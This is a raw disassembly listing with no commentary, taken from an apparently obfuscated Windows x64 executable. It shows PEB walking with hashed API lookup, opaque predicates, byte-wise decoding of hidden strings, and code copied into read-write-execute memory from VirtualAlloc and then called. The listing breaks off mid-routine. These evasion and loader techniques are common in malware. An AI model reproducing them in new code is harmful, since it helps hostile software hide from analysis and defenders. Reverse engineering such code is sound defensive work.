lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x18], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x18]
test eax, eax
je 0x1400e51b3
mov rdx, qword [0x1405607a8]
test rdx, rdx
jne 0x1400e519d
mov esi, r11d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400e5117
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e510e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e50ff
cmp edx, esi
jne 0x1400e517e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400e517e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400e517b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400e5163
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400e5158
cmp edx, r14d
je 0x1400e528f
test r11d, r11d
jne 0x1400e5143
xor r11d, r11d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400e5193
cmp qword [rax + 0x30], r11
jne 0x1400e50d4
mov rdx, r11
mov qword [0x1405607a8], rdx
mov ecx, 0x992b
call rdx
mov ecx, 0x992b
int 0x29
mov r10d, dword [rsp + 0x54]
xor r11d, r11d
lea r12d, [r13*2]
add r12d, r13d
mov ebx, dword [rbp - 0x78]
lea r9d, [r12 + rbx]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e5496
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, qword [rbp + 0x48]
and eax, 1
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e5305
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e5305
mov dword [rbp - 0x14], 1
jmp 0x1400e535f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400e5196
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400e5196
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400e52d9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400e52cb
inc rdx
xor r11d, r11d
jmp 0x1400e52f7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400e52e7
mov rbx, qword [r15]
jmp 0x1400e517e
lea ecx, [rbx + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e535f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x14], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
lea eax, [rax + r13*8]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x14]
test eax, eax
je 0x1400e5496
mov rdx, qword [0x1405607a8]
test rdx, rdx
jne 0x1400e5488
mov esi, r11d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400e53ff
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e53f6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e53e7
cmp edx, esi
jne 0x1400e5466
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400e5466
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400e5463
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400e544b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400e5440
cmp edx, r14d
je 0x1400e56e4
test r11d, r11d
jne 0x1400e542b
xor r11d, r11d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400e547b
cmp qword [rax + 0x30], r11
jne 0x1400e53bc
mov rdx, r11
mov qword [0x1405607a8], rdx
mov ebx, dword [rbp - 0x78]
mov ecx, 0x992b
call rdx
mov ecx, 0x992b
int 0x29
mov dword [rsp + 0x60], 0xe7e4f406
mov dword [rsp + 0x64], 0x1df208e5
mov dword [rsp + 0x68], 0x63fff8ea
xor eax, eax
mov qword [rsp + 0x6c], rax
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x106958abc3dc3072
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1e
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x14
jb 0x1400e54c2
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x60]
or r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e552f
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140038c20
nop
mov dword [rsp + 0x30], 0x35323e33
mov dword [rsp + 0x34], 0x8d91493d
mov dword [rsp + 0x38], 0x4f4c4588
mov byte [rsp + 0x3c], 0xda
xor eax, eax
mov qword [rsp + 0x3d], rax
mov dword [rsp + 0x45], eax
mov word [rsp + 0x49], ax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x392abcf372ab3a3b
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x63
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x1400e557e
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e55e7
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140038c20
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.14008e0f4
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp - 0x80]
call rax
nop
mov rdx, qword [rbp - 0x38]
mov edi, 0x1000
cmp rdx, 0xf
jbe 0x1400e5657
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e5652
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e5776
call fcn.140165c30
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], r14b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400e569e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e5699
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e577d
call fcn.140165c30
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], r14b
mov ecx, dword [rbp - 0x10]
inc ecx
mov dword [rbp - 0x10], ecx
cmp ecx, 0xc8
mov esi, 3
jl 0x1400e4113
mov r10d, dword [rsp + 0x50]
inc r10d
mov dword [rsp + 0x50], r10d
lea r9d, [r13*2]
add r9d, r13d
jmp 0x1400e3fee
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400e547e
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400e547e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400e572e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400e5720
inc rdx
xor r11d, r11d
jmp 0x1400e574c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400e573c
mov rbx, qword [r15]
jmp 0x1400e5466
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x30], 0xbb202ec3
mov dword [rsp + 0x34], 0x544d585c
mov dword [rsp + 0x38], 0x5cbf585b
mov dword [rsp + 0x3c], 0x40595e56
mov dword [rsp + 0x40], 0x49555a52
mov dword [rsp + 0x44], 0x404448aa
mov word [rsp + 0x48], 0x725b
mov byte [rsp + 0x4a], 0xfc
xor eax, eax
mov dword [rsp + 0x4b], eax
mov byte [rsp + 0x4f], al
mov qword [rsp + 0x20], r14
jmp 0x1400e5815
mov r8, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x2b525f3dc984ba3d
add r8, rax
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x55
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x20
jb 0x1400e57d1
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e5837
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.140038c20
nop
mov dword [rsp + 0x30], 0x717a6e73
mov dword [rsp + 0x34], 0x606e7569
mov dword [rsp + 0x38], 0x673e6673
mov word [rsp + 0x3c], 0x7d7e
mov eax, 8
mov byte [rsp + 0x3e], al
xor eax, eax
mov qword [rsp + 0x3f], rax
mov word [rsp + 0x47], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e58d1
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xafa8d16b0252fd01
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 7
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x1400e588a
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x30]
inc r15
cmp byte [rax + r15], r14b
jne 0x1400e58f0
mov r8, r15
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140038c20
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1400974b4
mov rdi, rax
lea rcx, [rbp - 0x50]
call fcn.140039160
nop
lea rcx, [rbp - 0x70]
call fcn.140039160
mov ecx, dword [rbp + 0x50]
and ecx, 0xfffffff7
or ecx, 7
mov dword [rbp + 0x50], ecx
mov r13d, 1
mov dword [rbp + 0x54], r13d
mov dword [rbp + 0x58], 7
mov dword [rbp + 0x5c], esi
mov dword [rbp + 0x60], r13d
lea r15d, [r13 + 3]
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x50]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x140079c40]
mov rax, qword [0x14055e690]
test rax, rax
je 0x1400e59e3
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e59d2
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x55e690]
test rax, rax
jne 0x1400e59b8
jmp 0x1400e59e3
mov r10, qword [rdx + r10*8 + 0x55e9b0]
test r10, r10
jne 0x1400e5ac7
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e5a0a
mov r10, r14
jmp 0x1400e5a9f
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e5a19
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14055e680]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x55e690], r12
mov qword [rcx + rax*8 + 0x55e9b0], r10
add rax, r13
mov qword [0x14055e680], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x54]
mov qword [rbp + 0x38], rax
mov eax, 8
mov dword [rsp + 0x50], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x140079c40]
mov rax, qword [0x14055ece0]
test rax, rax
je 0x1400e5b66
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e5b55
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x55ece0]
test rax, rax
jne 0x1400e5b3b
jmp 0x1400e5b66
mov r10, qword [rdx + r10*8 + 0x55f000]
test r10, r10
jne 0x1400e5c4a
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e5b8d
mov r10, r14
jmp 0x1400e5c22
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e5b9c
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14055ecd0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x55ece0], r12
mov qword [rcx + rax*8 + 0x55f000], r10
add rax, r13
mov qword [0x14055ecd0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x58]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], 0xa
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x140079c40]
mov rax, qword [0x14055f330]
test rax, rax
je 0x1400e5ce8
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e5cd7
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x55f330]
test rax, rax
jne 0x1400e5cbd
jmp 0x1400e5ce8
mov r10, qword [rdx + r10*8 + 0x55f650]
test r10, r10
jne 0x1400e5dcc
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e5d0f
mov r10, r14
jmp 0x1400e5da4
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e5d1e
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14055f320]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x55f330], r12
mov qword [rcx + rax*8 + 0x55f650], r10
add rax, r13
mov qword [0x14055f320], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x5c]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x140079c40]
mov rax, qword [0x14055f980]
test rax, rax
je 0x1400e5e66
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e5e55
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x55f980]
test rax, rax
jne 0x1400e5e3b
jmp 0x1400e5e66
mov r10, qword [rdx + r10*8 + 0x55fca0]
test r10, r10
jne 0x1400e5f4a
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e5e8d
mov r10, r14
jmp 0x1400e5f22
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e5e9c
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14055f970]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x55f980], r12
mov qword [rcx + rax*8 + 0x55fca0], r10
add rax, r13
mov qword [0x14055f970], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x60]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], 9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea r12, [rbp + 0x98]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x30], rbx
mov qword [r12], r14
mov ecx, r14d
lea r15, [0x140079c40]
mov rax, qword [0x14055ffd0]
test rax, rax
je 0x1400e5fe9
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r15
je 0x1400e5fd8
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x55ffd0]
test rax, rax
jne 0x1400e5fbe
jmp 0x1400e5fe9
mov r10, qword [rdx + r10*8 + 0x5602f0]
test r10, r10
jne 0x1400e60c9
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e6010
mov r10, r14
jmp 0x1400e60a1
mov rax, r15
mov rcx, r10
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub rsi, 1
jne 0x1400e601b
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
